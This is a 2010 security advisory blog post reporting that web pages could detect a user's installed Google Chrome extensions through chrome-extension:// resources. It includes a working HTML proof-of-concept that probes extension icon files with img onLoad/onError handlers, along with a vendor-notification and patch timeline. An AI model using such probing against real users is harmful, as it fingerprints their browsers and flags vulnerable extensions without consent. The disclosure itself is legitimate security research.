Google Chrome Instaled extensions arbitrary detection

Tuesday, September 07, 2010
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Google Chrome Instaled extensions arbitrary detection
Vendor url: http://www.google.com
Advisore:http://lostmon.blogspot.com/2010/09/google-chrome-instaled-extensions.html
Vendor notify:YES vendor confirmed.YES exploit:YES
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Change log :http://googlechromereleases.blogspot.com/2010/09/stable-and-beta-channel-updates.html

#########
Abstract
#########

How safe is use extensions ?
a attacker can access via iframe to resource extensions ( at this moment i
don´t have found a way to altered information from extensions).

like
>iframe
src="chrome-extension://gffjhibehnempbkeheiccaincokdjbfe/options.html"<>/iframe<
for example...

a remote user can modify this web doc and call it with meta tag "base"
in a malformed doc...

<BASE HREF="chrome-extension://gffjhibehnempbkeheiccaincokdjbfe/">
so i thnik that chrome-extension need sanitizacion to don´t access internal
resources from external web pages..( file:/// and other protocols handlers
are safe to use and don´t give access to internal resources from external
web docs...)

So chrome-extension protocol handler can be used to get extensions instaled
on client browser...and them if any extension is vulnerable to something
this information can be used for exploit this extension...

In incognito mode Extensions can be detectable too

###########################
A sample PoC of detection
###########################

<html>
<head>
<title>Chrome extensions detector PoC By Lostmon</title>
<body>
<p><img src="chrome-extension://gffjhibehnempbkeheiccaincokdjbfe/icon_128.png"
onLoad="document.write('<br /><b>you have instaled Gmail checker
plus</b>');" onError="document.write('<br /><b>File not found</b>');"></p>
<p><img src="chrome-extension://bfbameneiokkgbdmiekhjnmfkcnldhhm/icons/16.png"
onLoad="document.write('<br /><b>you have instaled Web Developer</b>');"
onError="document.write('<br /><b>File not found</b>');"></p>
<p><img
src="chrome-extension://bjcpobipejlbogodeiendpdgcdambjgo/icons/icon-lightning-16.png"
onLoad="document.write('<br /><b>you have instaled My Shortcuts</b>');"
onError="document.write('<br /><b>File not found</b>');"></p>
<p><img src="chrome-extension://bmagokdooijbeehmkpknfglimnifench/firebug.jpg"
onLoad="document.write('<br /><b>you have instaled Firebug</b>');"
onError="document.write('<br /><b>File not found</b>');"></p>
<p><img
src="chrome-extension://ckibcdccnfeookdmbahgiakhnjcddpki/images/browseraction.png"
onLoad="document.write('<br /><b>you have instaled Webpage
Screenshot</b>');" onError="document.write('<br /><b>File not
found</b>');"></p>
<p><img
src="chrome-extension://dgpdioedihjhncjafcpgbbjdpbbkikmi/images/empty_preview.png"
onLoad="document.write('<br /><b>you have instaled Speed dial</b>');"
onError="document.write('<br /><b>File not found</b>');"></p>
<p><img
src="chrome-extension://jfchnphgogjhineanplmfkofljiagjfb/icon_16_16.png"
onLoad="document.write('<br /><b>you have instaled Downloads</b>');"
onError="document.write('<br /><b>File not found</b>');"></p>
</body>
</html>

####################EOF##########################

##############
Timeline
##############

Discovered:27 may 2010
Vendor notify:01 jun 2010
Vendor patch:02 sep 2010
disclosure: 07 sep 2010

#######################€ND ########################

Thnx To Climbo for his patience and support.

Atentamente:
Lostmon (lostmon@gmail.com)
Web-Blog: http://lostmon.blogspot.com/
Google group: http://groups.google.com/group/lostmon (new)
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